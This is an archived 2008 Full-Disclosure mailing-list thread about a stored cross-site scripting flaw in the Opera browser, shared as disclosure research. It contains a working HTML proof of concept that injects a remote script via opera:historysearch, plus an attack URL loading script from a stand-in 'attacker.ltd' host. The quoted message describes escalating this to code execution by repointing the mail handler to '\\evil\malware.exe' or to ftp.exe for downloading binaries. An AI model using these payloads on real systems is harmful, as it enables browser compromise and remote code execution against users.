full-disclosure - Re: Opera Stored Cross Site Scripting

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Thu, 23 Oct 2008 12:34:26 +0200
From: Stefano Di Paola <stefano.dipaola@...ec.it>
To: avivra <avivra@...il.com>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: Opera Stored Cross Site Scripting

Good job Aviv :)

that's exactly what I intended when I said:
"..
On linux/Macos probably some program execution could be done using xterm
--display at.tack.er in place of telnet program.

Also maybe under windows some \\att.tack.er\program.exe ?
.."

Roberto, for the q=Xss I found, just use the following html :

-------

<html>
<script>
function x() {
  window.open('opera:historysearch?q=%2A"><script+src%3d"http:%%32f%%
32fwww.raffon.net%%32fresearch%%32fopera%%32fhistory%%32fo.js"><%%
32fscript>&p=1&s=1');
  setTimeout(function(){window.open('mailto:abc')},500);
}
</script> 
<body  onload="setTimeout(x,300)"> 
<h3>opera:historysearch?q=%2AXssHere POC</h3>
Wait for 10 seconds<br>
Using the js from Aviv: <br>
http://www.raffon.net/research/opera/history/o.js <br>
The string for cache retrieve: <br>
<b>&lt;script
src='http://www.raffon.net/research/opera/history/o.js'&gt;&lt;/script&gt;</b>
</body>
</html>

------

That will allow the attacker to find the script code in
opera:historysearch.

Then, since opera adds link for next/previous page using the s=20, p=1
and q=query, you can force the victim to go to:

opera:historysearch?q=*"><script+src="http:%%32f%%32fattacker.ltd%%
32fs.js"><%%32fscript>*&s=1&p=1
 
Which will display the next page link and will trigger the script


Il giorno gio, 23/10/2008 alle 01.52 +0200, avivra ha scritto:
> Hi,
> 
>  
> 
> Just found a way to use Stefano’s opera:config idea to execute code
> from remote.
> 
> Instead of changing the HTTP Proxy, an attacker can change the default
> external mail application to “\\evil\malware.exe ”, or to local
> commands (e.g. ftp.exe which can be used to download malicious
> binaries from remote). Also, there is a need to change the “Mail
> Handler” settings to “2”, so opera will execute the external mail
> application, instead of the default opera mail application.
> 
> After changing the settings, the attacker can simply set the location
> to “mailto:” to execute the code.
> 
>  
> 
> A proof-of-concept which executes the Windows Calculator can be found
> here: http://raffon.net/research/opera/history/op.html
> 
>  
> 
> Cheers,
> 
> --Aviv.
> 
> http://aviv.raffon.net
> 
>  
> 
> 
-- 
...oOOo...oOOo....
Stefano Di Paola
Software & Security Engineer

Owasp Italy R&D Director

Web: www.wisec.it
..................


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/